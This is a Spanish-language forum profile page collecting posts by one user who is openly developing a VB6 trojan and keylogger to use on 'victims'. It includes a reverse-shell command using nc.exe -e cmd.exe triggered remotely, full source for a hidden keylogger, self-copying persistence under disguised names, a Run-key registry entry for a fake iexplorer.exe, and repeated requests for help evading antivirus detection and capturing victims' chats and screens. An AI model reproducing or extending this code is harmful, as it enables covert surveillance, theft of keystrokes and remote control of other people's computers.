Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - hepy_92

#1
Programación Visual Basic / Activar Telnet VB6
15 Diciembre 2009, 01:32 AM
hola
estoy viendo la posibilidad para agregar a mi troyano una funcion que deje un agujero en el pc para poder sacar una shell remota.. se me ocurrio que podria dejar de alguna manera un telnet a la escucha(nose como, no tengo mucha informacion sobre telnet) y asi poder conectarme y obtener shell remota
se puede? a alguien se le ocurre alguna manera? gracias!

PD: seria harto mejor que fuera conexion inversa para saltarse firewalls y demases, dejar un telnet a la escucha en mi pc y que el telnet remoto trate de conectarse cada cierto rato
#2
Programación Visual Basic / Ayuda con CMD Pipe vb6
12 Diciembre 2009, 05:06 AM
hola
hace unos años cree un troyano de multiconexion inversa
ahora lo retome ya que lo quiero volver a usar y estoy en proceso para poder enviar comandos a la cmd remota y poder volver a recibir lo que pasa (EJ: pongo dir C:\ y me devuelve el resultado, enlistando los archivos en C:\)
para esto encontre este codigo de cmd pipe

'Redirects output from console program to textbox.
'Requires two textboxes and one command button.
'Set MultiLine property of Text2 to true.
'
'Original bcx version of this program was made by
' dl <dl@tks.cjb.net>
'VB port was made by Jernej Simoncic <jernej@isg.si>
'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/
'
'Note: don't run plain DOS programs with this example
'under Windows 95,98 and ME, as the program freezes when
'execution of program is finnished.

Option Explicit
Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type SECURITY_ATTRIBUTES
  nLength As Long
  lpSecurityDescriptor As Long
  bInheritHandle As Long
End Type

Private Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessId As Long
  dwThreadId As Long
End Type

Private Type STARTUPINFO
  cb As Long
  lpReserved As Long
  lpDesktop As Long
  lpTitle As Long
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Byte
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Private Type OVERLAPPED
    ternal As Long
    ternalHigh As Long
    offset As Long
    OffsetHigh As Long
    hEvent As Long
End Type

Private Const STARTF_USESHOWWINDOW = &H1
Private Const STARTF_USESTDHANDLES = &H100
Private Const SW_HIDE = 0
Private Const EM_SETSEL = &HB1
Private Const EM_REPLACESEL = &HC2

Private Sub Command1_Click()
  Command1.Enabled = False
  Redirect Text1.Text, Text2
  Command1.Enabled = True
End Sub
Private Sub Form_Load()
    Text1.Text = "ping"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  If Command1.Enabled = False Then Cancel = True
End Sub

Sub Redirect(cmdLine As String, objTarget As Object)
  Dim i%, t$
  Dim pa As SECURITY_ATTRIBUTES
  Dim pra As SECURITY_ATTRIBUTES
  Dim tra As SECURITY_ATTRIBUTES
  Dim pi As PROCESS_INFORMATION
  Dim sui As STARTUPINFO
  Dim hRead As Long
  Dim hWrite As Long
  Dim bRead As Long
  Dim lpBuffer(1024) As Byte
  pa.nLength = Len(pa)
  pa.lpSecurityDescriptor = 0
  pa.bInheritHandle = True
 
  pra.nLength = Len(pra)
  tra.nLength = Len(tra)

  If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then
    sui.cb = Len(sui)
    GetStartupInfo sui
    sui.hStdOutput = hWrite
    sui.hStdError = hWrite
    sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES
    sui.wShowWindow = SW_HIDE
    If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then
      SetWindowText objTarget.hwnd, ""
      Do
        Erase lpBuffer()
        If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then
          SendMessage objTarget.hwnd, EM_SETSEL, -1, 0
          SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0)
          DoEvents
        Else
          CloseHandle pi.hThread
          CloseHandle pi.hProcess
          Exit Do
        End If
        CloseHandle hWrite
      Loop
      CloseHandle hRead
    End If
  End If
End Sub


para enviar comandos como cd o dir hay que anteponer un "cmd /k" (Ej: cmd /k dir C:\) no me pregunten por que (si alguien me puede explicar porque hay que hacerlo se agradece jajaja)
pero bueno el problema es que al enviar un comando como un dir o cd, me sale este error:
CitarError '9' en tiempo de ejecucion:
el subindice esta fuera del intervalo
ayuda porfavor! gracias de antemano
#3
no se porque el avast me empezo a detectar mi troyanito =(
esta hecho en vb y lo hice yo, ningun otro av lo detecta solo el nod
parece que es por que se copia a la carpeta de windows i se renombra, ademas de eso crea un programa aparte que chekea si esta iniciado el proceso, si no lo esta lo inicia, todo esto en un timer
tambien tengo cifrada la clave del registro..
que puedo hacer?
publico el code para que me ayuden en que parte puede estar detectandolo???
GraciaS de AnteManO!
#4
Primero que nada este code no es para mi... me lo pidio un amigo que en realidad no entiendo mucho lo que quiere hacer... al parecer es para descifrar un codigo del zodiaco.. algo así entendi.. pero bueno aca va la pregunta

lo que quiero hacer es por ejemplo tener un textbox, y en ese textbox se escribiria un textto como este con varios signos
1asd^ç*da!7//asd?^ç*??213¡¡¡
la idea es que al apretar un command button el textbox marque todas las combinaciones repeitdas de 3 caracteres, por ejemplo aca se repite la combinacion de 3 caracteres ^ç* entonces el textbox deberia marcar con otro color el ^ç*
me expplique bien???
es posible hacer esto con vb6???
Gracias de antemano!!!! :D
#5
hace tiempo que estoy con un troyano, y decidi hacerle un modulo de "infeccion", entre comillas por que realmente no es infeccion.. lo unico que hace es copiar el programa 2 veces a la carpeta de windows, con los nombres ssms.exe y jushed.exe, el primero compureba cada cierto rato que exista el archivo jushed y que este iniciado el proceso, si no es asi, se autocopia, i si es necesario inicia el proceso, lo mismo jushed.exe, hace lo mismo, solo que inversamente, ademas de hacer la conexion al troyano. El problema esta en que en el modulo, esta la linea

WinDirek = Environ("windir") & "/"
BSExe = App.path & "/" & App.EXEName & ".exe"
FileCopy BSExe, WinDirek & "jushed.exe"


si saco la linea filecopy, y le paso el nod32, no lo detecta, si la vuelvo a poner me lo empieza a detectar

alguien sabe como solucionarlo??? talve encriptandolo???
GraciasS de Antemano
#6
wenasS
ase tiempo que estoy haciendo un troyano en vb6, y hace un tiempo el nod32 me lo empezo a detectar. Vivachapas me dijo que era por heuristica (o como se escriba xD), y se solucionaba cifrando la cadena del registro. Encontre un code bien corto y lo puse, el problema es que no lo entiendo para nada, y tengo varias aplicaciones que ocupan el mismo code para agregar y cifrar la cadena, entonces al parecer la remplaza :S
alguien tiene algun code que pueda explicar?
GRAcias de antemano  ;D
#7
Programación Visual Basic / Cursor???
24 Mayo 2007, 00:17 AM
wenassS
estoy haciendo un troyano desde hace harto tiempo, cuando lo termine lo publico aca para que lo vean  :P
bueno.. la cosa es que ya tiene varias funciones serias, pero no muchas lammeradas... no es que sea lammer, pero muchas veces en un troyano termina siendo divertido asustar un poco a la victima con algunas bromas de buen gusto
lo que se me ocurrio hacer, y lo he visto en troyanos como el darkmoon, es hacer que mientras vaya moviendo el cursor del raton, que vaya dejando un "rastro" me refiero a que vaya rayando su escritorio de algun color, lo otro seria hacer que el maus se vuelva loco, osea que se empieze a mover hacia cualquier lado..
alguien tiene algun code???, si me pueden orientar o ayudar se los agradeceria mucho!
gracias de antemano! ;D
#8
estoy haciendo un keylogger online, y todo va bien hasta que al enviar los datos con un timer, me da error en el modulo de la api de ws, me dice Error '9' en tiempo de ejecución, el subindice esta fuera del intervalo
y apunta a esta linea del modulo de la api de ws

Err.Raise Err.Number, "CSocket.SendData", Err.Description

Gracias de antemano ;D
#9
weno sigo con el proyecto de mi troyano, que cada dia mejora mas... aunque estuvo tirado x aproximadamente 1semana, porque estuve mui ocupado asiendo cosas para el cole.. bueno en fin...
mi problema es que cuando mando algo, i ago split data, la segunda parte no llega nunca al text del servidor.. no se si me explico bien, pero aca dejo el code de cliente y servidor:

Cliente:

Public VPort As Integer
Private Sub Command1_Click()
VPort = Text1.Text
Dim vIndex As Variant 'Declaracion
vIndex = Split(Form1.ListConexion.SelectedItem.Key, "|")
Form1.WS(vIndex(0)).SendData "nc_shell" & "|" & VPort
End Sub
'al presionar el boton, manda al servidor la palabra nc_shell y un puerto



Servidor:
Private Sub WS_onDataArrival(ByVal bytesTotal As Long)
Dim vData() As String
WS.GetData VTData, vbString
vData = Split(VTData, "|")
If vData(0) = "msge" Then
MsgBox vData(1)
VTData = ""
End If
If vData(0) = "nc_shell" Then
Shell App.path & "\nc.exe -e cmd.exe IP" & "|" & vData(1)
End If '''' ******notese esta parte que es la quye interesa!
Text1.Text = VTData
End Sub


la finalidad de este code, es abrir el netcat, para obtener shell remota, en un determinado port.. e revisado varias veces el code i no encuentro cual es la falla!
si no me explike bien diganme lo que no entendieron pero ayuda porfavor!
GRACIAS de antemano!
#10
bueno como algunos saben, estoy en la creacion de un troyano mci, por ahora tiene pocas funciones.. ya le ire agregando mas.. estaba pensando en ponerle un filemanager remoto, osea poder explorar el hd, subir/bajar archivos y ejecutar archivos, encontre un manual (troyano desde 0, en portalhacker.net) pero el filemanager que tenia, permitia explorar solamente tu disco, y para bajar archivos de la maquina remota, aparecia un cartelito pidiendo la ruta del archivo, lo que encontre extraño, por que no habia forma de explorar el hd de la victima.. alguien que me pueda orientar o ayudar???
muchas gracias!
#11
bueno.. este code tiene 2 intenciones, ayudar y que me ayuden xD, ya vendran posts solamente para ayudar.. pero mientras sepa poco no creo que pueda ser asi =S

aca va la ayuda, es el code para capturar ventanas activas, y pantalla completa, perdon si ya estaba posteado, pero no lo encontre en el foro

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
'Captura la ventana activa
keybd_event 44, 0, 0&, 0&
End Sub

Private Sub Command2_Click()
'Captura toda la pantalla
keybd_event 44, 1, 0&, 0&
End Sub


y aca va la pregunta:
teniendo este code, a alguien se le ocurre alguna forma, de enviar la imagen capturada al cliente (teniendo en cuenta que estoi asiendo un troyano), y que se muestre en el form???, una idea de Vivachapas, era capturar pantalla, guardar la imagen en el disco de la victima, enviarla al cliente, i borrarla, pero como puedo hacer que se muestre en un form??? con un imagebox???
se acepta orientacion y ayuda! ;D
Gracias de Antemano!
#12
weno.. estoy creando un troyano en vb6, multi c.i, y seria interesante añadirle la funcion de capturar una conversacion completa de msn, como lo hace la funcion de guardar historiales en msn
alguien se le ocurre alguna idea???
Gracias de antemano  ;D

PD: ya estuve buscando, no encontre nada que me convenciera
#13
hace un tiempo intente hacer un keylogger.. incluso postie para que me ayudaran en como generar los logs..
el problema es que cuando genera el log, ( lo genera con nombre log1, i el siguiente con log2, etc) cuando uno cierra el keylogger y lo inicia de nuevo, empieza a remplazar los logs
(se preguntaran como lo cierra, x ejemplo al apagar el pc)
tiene un funcionamiento simple, tiene un label, que kada 1 seg le suma 1, i al llegar a 1800, genera el log i limpia el text1, esa parte funciona bien
aka va el code

Dim KTime As Integer
Dim n    As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()
KTime = 0
Timer2.Interval = 1000
Form1.Visible = True
App.TaskVisible = False
n = 1
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("

ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"

ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"


ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"

ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
 
End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
 
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
  Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Enter]"
End If
 
'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
  Text1 = Text1 & "[BackSpace]"
End If
 
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
  Text1 = Text1 & "[LeftArrow]"
End If
 
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
  Text1 = Text1 & "[UpArrow]"
End If
 
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
  Text1 = Text1 & "[RightArrow]"
End If
 
  'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
  Text1 = Text1 & "[DownArrow]"
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Tab]"
End If
 
  'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Escape]"
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
 
'left click
If GetAsyncKeyState(1) = -32767 Then
   If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
   Text1 = Text1 & "[LeftClick]"
   End If
End If

End Sub

Private Sub Timer2_Timer()
KTime = KTime + 1
If KTime = 1800 Then
Dim fnum As Integer
't = t + 1
' If t < 30 Then Exit Sub
On Error GoTo Ninguno
    fnum = FreeFile
    Open "C:\log" & n & ".txt" For Output As fnum
        Print #fnum, Text1.Text
  Close fnum
n = n + 1
' t = 0
Text1.Text = "" 'vacia el textbox
Ninguno:
KTime = 0
End If
Label1.Caption = KTime
End Sub


alguien me podria ayudar???
GraCiaS de AnteManO!
#14
wenasssS
como hago para cambiarle el icono a un programa que hice en vb???
(no con el reshack ni nada parecido)
el problema es cuando intento poner un icono, en las propiedades del form1, donde sale ICON, lo pongo y sale esto
El valor de la propiedad no es válido
solo me sale ese error con el icono que hice.. ( es .ico, 32x32, i lo ise en paint, poniendo guardar como.. bs.ico)
si pongo otro icono si me funciona.. pero con el que hice no
alguien me podria ayudar??
GraCiaS de AnteManO
#15
miren:
mi duda es como ejecutar un codigo en limpio, por ejemplo
abrir el archivo que se encuentra en
%homedrive%%homepath%\update\iexplorer.exe, el problema es que si pongo esto:
shell ("%homedrive%%homepath%\update\iexplorer.exe") no me encuentra el archivo.. pero si abro la cmd a mano i pongo el mismo code si abre..
tambien necesito ejecutar este code:
reg ADD HKCU\software\microsoft\windows\currentversion\run /v Internet Explorer /d %homedrive%%homepath%\update\iexplorer.exe /f
espero que me puedan ayudar
perdon si no busce lo suficiente, pero no sabría como ponerlo en google.. ya probe con "ejecutar codigo en limpio en la shell vb6" o algo parecido pero no encontre lo que necesitaba
#16
weno ase unos dias estaba como loco pidiendo el code para cmd pipe en vb6
aka se los dejo
todos los creditos a Sancho.Mazorka(por el code)i a E0N(por la solucion a los comandos dir, cd, etc.)
PD: Para ejecutar comandos como dir, cd, etc, antepongan un
cmd /k "Ej: cmd /k dir C:\"

'Redirects output from console program to textbox.
'Requires two textboxes and one command button.
'Set MultiLine property of Text2 to true.
'
'Original bcx version of this program was made by
' dl <dl@tks.cjb.net>
'VB port was made by Jernej Simoncic <jernej@isg.si>
'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/
'
'Note: don't run plain DOS programs with this example
'under Windows 95,98 and ME, as the program freezes when
'execution of program is finnished.

Option Explicit
Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type SECURITY_ATTRIBUTES
  nLength As Long
  lpSecurityDescriptor As Long
  bInheritHandle As Long
End Type

Private Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessId As Long
  dwThreadId As Long
End Type

Private Type STARTUPINFO
  cb As Long
  lpReserved As Long
  lpDesktop As Long
  lpTitle As Long
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Byte
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Private Type OVERLAPPED
    ternal As Long
    ternalHigh As Long
    offset As Long
    OffsetHigh As Long
    hEvent As Long
End Type

Private Const STARTF_USESHOWWINDOW = &H1
Private Const STARTF_USESTDHANDLES = &H100
Private Const SW_HIDE = 0
Private Const EM_SETSEL = &HB1
Private Const EM_REPLACESEL = &HC2

Private Sub Command1_Click()
  Command1.Enabled = False
  Redirect Text1.Text, Text2
  Command1.Enabled = True
End Sub
Private Sub Form_Load()
    Text1.Text = "ping"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  If Command1.Enabled = False Then Cancel = True
End Sub

Sub Redirect(cmdLine As String, objTarget As Object)
  Dim i%, t$
  Dim pa As SECURITY_ATTRIBUTES
  Dim pra As SECURITY_ATTRIBUTES
  Dim tra As SECURITY_ATTRIBUTES
  Dim pi As PROCESS_INFORMATION
  Dim sui As STARTUPINFO
  Dim hRead As Long
  Dim hWrite As Long
  Dim bRead As Long
  Dim lpBuffer(1024) As Byte
  pa.nLength = Len(pa)
  pa.lpSecurityDescriptor = 0
  pa.bInheritHandle = True
 
  pra.nLength = Len(pra)
  tra.nLength = Len(tra)

  If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then
    sui.cb = Len(sui)
    GetStartupInfo sui
    sui.hStdOutput = hWrite
    sui.hStdError = hWrite
    sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES
    sui.wShowWindow = SW_HIDE
    If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then
      SetWindowText objTarget.hwnd, ""
      Do
        Erase lpBuffer()
        If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then
          SendMessage objTarget.hwnd, EM_SETSEL, -1, 0
          SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0)
          DoEvents
        Else
          CloseHandle pi.hThread
          CloseHandle pi.hProcess
          Exit Do
        End If
        CloseHandle hWrite
      Loop
      CloseHandle hRead
    End If
  End If
End Sub
#17
hace un tiempo postie en este foro para que alguien me ayudara a hacer cmd pipe.. y Sancho.Mazorka me dio este code
'Redirects output from console program to textbox.
'Requires two textboxes and one command button.
'Set MultiLine property of Text2 to true.
'
'Original bcx version of this program was made by
' dl <dl@tks.cjb.net>
'VB port was made by Jernej Simoncic <jernej@isg.si>
'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/
'
'Note: don't run plain DOS programs with this example
'under Windows 95,98 and ME, as the program freezes when
'execution of program is finnished.

Option Explicit
Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type SECURITY_ATTRIBUTES
  nLength As Long
  lpSecurityDescriptor As Long
  bInheritHandle As Long
End Type

Private Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessId As Long
  dwThreadId As Long
End Type

Private Type STARTUPINFO
  cb As Long
  lpReserved As Long
  lpDesktop As Long
  lpTitle As Long
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Byte
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Private Type OVERLAPPED
    ternal As Long
    ternalHigh As Long
    offset As Long
    OffsetHigh As Long
    hEvent As Long
End Type

Private Const STARTF_USESHOWWINDOW = &H1
Private Const STARTF_USESTDHANDLES = &H100
Private Const SW_HIDE = 0
Private Const EM_SETSEL = &HB1
Private Const EM_REPLACESEL = &HC2

Private Sub Command1_Click()
  Command1.Enabled = False
  Redirect Text1.Text, Text2
  Command1.Enabled = True
End Sub
Private Sub Form_Load()
    Text1.Text = "ping"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  If Command1.Enabled = False Then Cancel = True
End Sub

Sub Redirect(cmdLine As String, objTarget As Object)
  Dim i%, t$
  Dim pa As SECURITY_ATTRIBUTES
  Dim pra As SECURITY_ATTRIBUTES
  Dim tra As SECURITY_ATTRIBUTES
  Dim pi As PROCESS_INFORMATION
  Dim sui As STARTUPINFO
  Dim hRead As Long
  Dim hWrite As Long
  Dim bRead As Long
  Dim lpBuffer(1024) As Byte
  pa.nLength = Len(pa)
  pa.lpSecurityDescriptor = 0
  pa.bInheritHandle = True
 
  pra.nLength = Len(pra)
  tra.nLength = Len(tra)

  If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then
    sui.cb = Len(sui)
    GetStartupInfo sui
    sui.hStdOutput = hWrite
    sui.hStdError = hWrite
    sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES
    sui.wShowWindow = SW_HIDE
    If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then
      SetWindowText objTarget.hwnd, ""
      Do
        Erase lpBuffer()
        If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then
          SendMessage objTarget.hwnd, EM_SETSEL, -1, 0
          SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0)
          DoEvents
        Else
          CloseHandle pi.hThread
          CloseHandle pi.hProcess
          Exit Do
        End If
        CloseHandle hWrite
      Loop
      CloseHandle hRead
    End If
  End If
End Sub

funciona pero el problema es que solo acepta los comandos como ping, netstat, y solo algunos mas...
los comandos mas utiles como dir no funcionan
ayer con un amigo que sabe sobre esto de la cmd y sus comandos me dijo que probara poniendo command.com pero tiraba error!
alguien me podria ayudar o orientar???
gracias de antemano!
#18
wenasSS
estoi creando un keylogger en vb6
